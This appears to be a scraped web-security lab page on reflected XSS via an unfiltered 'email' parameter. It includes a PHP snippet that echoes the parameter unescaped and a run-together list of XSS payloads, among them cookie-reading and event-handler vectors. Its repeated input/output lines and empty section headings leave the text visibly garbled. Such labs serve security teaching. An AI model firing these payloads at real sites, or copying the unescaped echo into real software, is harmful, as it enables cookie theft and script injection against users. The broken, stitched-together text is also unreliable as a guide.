Test XSS with unfiltered email parameter
This lab demonstrates a common vulnerability where email parameters are often left unfiltered, assuming they will only contain email addresses. This creates a perfect opportunity for XSS attacks.
# use arjun tool to find hidden parameter
Input: <script>alert(1)</script>
Output: <script>alert(1)</script>
Input: <script>alert(1)</script>
Output: <script>alert(1)</script>
Objective: Discover the hidden email parameter and exploit the lack of filtering to execute XSS payloads.
if(isset($_GET["fname"]) && isset($_GET["lname"])){
echo htmlspecialchars($_GET["fname"], ENT_QUOTES);
echo htmlspecialchars($_GET["lname"], ENT_QUOTES);
}
elseif(isset($_GET["email"])){
echo $_GET["email"];
}
# use arjun tool to find hidden parameter
<script>alert(1)</script><script>alert(document.domain)</script><script>alert(document.cookie)</script><img src=x onerror=alert(1)><body onload=alert(1)><svg onload=alert(1)><a href="javascript:alert(1)">click</a><iframe src="javascript:alert(1)"></iframe><form action="javascript:alert(1)"><input type=submit></form><script src="data:text/javascript,alert(1)"></script><object data="javascript:alert(1)"></object><embed src="javascript:alert(1)"></embed>Unfiltered email parameters demonstrate:
For secure web applications:
/^[^\s@]+@[^\s@]+\.[^\s@]+$/